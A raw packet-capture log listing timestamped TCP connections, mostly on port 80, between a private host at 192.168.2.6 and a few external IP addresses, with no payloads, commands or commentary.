Sep 27, 2024 16:18:30.330121040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330131054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330141068 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330142021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330152035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330161095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330172062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330174923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330174923 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330205917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330790043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330827951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330885887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330895901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330907106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330918074 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330924034 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330933094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330950975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330955029 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330960989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330971956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330980062 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.330981016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330991983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.330992937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.331022024 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.331037045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.331048965 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.331063032 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.331073046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.331073046 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.331093073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.331104040 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.331114054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.331114054 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.331140041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.331140041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.351900101 CEST	49617	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:30.352216005 CEST	49622	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:30.356839895 CEST	80	49617	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:30.356892109 CEST	49617	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:30.357085943 CEST	80	49622	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:30.357141018 CEST	49622	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:30.357280970 CEST	49622	80	192.168.2.6	185.215.113.16
Sep 27, 2024 16:18:30.362116098 CEST	80	49622	185.215.113.16	192.168.2.6
Sep 27, 2024 16:18:30.370883942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.370914936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.370928049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.370932102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.370960951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.370984077 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.370994091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371006012 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371017933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371027946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371028900 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371038914 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371056080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371067047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371069908 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371095896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371104002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371104002 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371108055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371128082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371165991 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371174097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371186018 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371196985 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371206999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371217966 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371228933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371239901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371239901 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371273994 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371304989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371315956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371326923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371337891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371350050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.371351004 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371370077 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.371402979 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.414072037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.414134026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.414170027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.414180040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.414180040 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.414211988 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.414268017 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.414302111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.414316893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.414336920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.414350986 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.414371967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.414376020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.414407969 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.414439917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.414480925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.414980888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415034056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415045977 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415066957 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415092945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415101051 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415107012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415154934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415189028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415215969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415215969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415224075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415232897 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415261030 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415275097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415323973 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415328026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415361881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415399075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415399075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415435076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415482044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415488958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415525913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415560961 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415595055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415600061 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415600061 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415608883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415626049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415653944 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415668011 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415680885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415715933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415733099 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415752888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415781975 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415788889 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415823936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415826082 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415851116 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415860891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415885925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415891886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.415910006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.415951014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416313887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416351080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416376114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416384935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416403055 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416436911 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416472912 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416472912 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416496992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416531086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416548967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416564941 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416599035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416606903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416606903 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416642904 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416652918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416686058 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416719913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416723967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416723967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416773081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416809082 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416821003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416821003 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416852951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416862011 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416899920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416933060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416943073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416943073 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.416985989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.416995049 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417026043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417042017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417061090 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417094946 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417104006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417104006 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417129993 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417136908 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417164087 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417176962 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417198896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417210102 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417233944 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417278051 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417278051 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417288065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417321920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417362928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417362928 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417376041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417427063 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417433977 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417464972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417490959 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417504072 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417519093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417573929 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417576075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417614937 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417627096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417661905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417694092 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417695045 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417732954 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417736053 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417737007 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417773962 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417788029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417821884 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417824030 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417856932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417860985 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417892933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417898893 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417927980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417953014 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.417964935 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.417998075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418008089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418008089 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418032885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418060064 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418071985 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418088913 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418123960 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418167114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418167114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418175936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418210983 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418246984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418246984 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418262005 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418313026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418313980 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418356895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418365002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418400049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418431044 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418442011 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418442011 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418468952 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418488026 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418504953 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418524981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418539047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418545961 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418574095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418606997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418610096 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418617964 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418642998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418667078 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418677092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418708086 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418713093 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418746948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418756962 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418756962 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418787956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418795109 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418822050 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418849945 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418857098 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418889999 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.418904066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418904066 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.418953896 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.457879066 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.457959890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.457974911 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458000898 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458017111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458051920 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458086014 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458091974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458091974 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458137989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458173037 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458183050 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458183050 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458209991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458218098 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458276987 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458282948 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458319902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458348989 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458353043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458364010 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458386898 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458401918 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458440065 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458442926 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458481073 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458488941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458514929 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458533049 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458549023 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458584070 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458592892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458592892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458625078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458642960 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458672047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458692074 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458707094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458709955 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458744049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.458767891 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.458826065 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.475943089 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:30.476424932 CEST	49610	45580	192.168.2.6	65.21.18.51
Sep 27, 2024 16:18:30.481314898 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:30.501034975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501064062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501080036 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501121044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501128912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501144886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501157045 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501163006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501183033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501184940 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:30.501198053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:30.501207113 CEST	49613	80	192.168.2.6	185.215.113.17
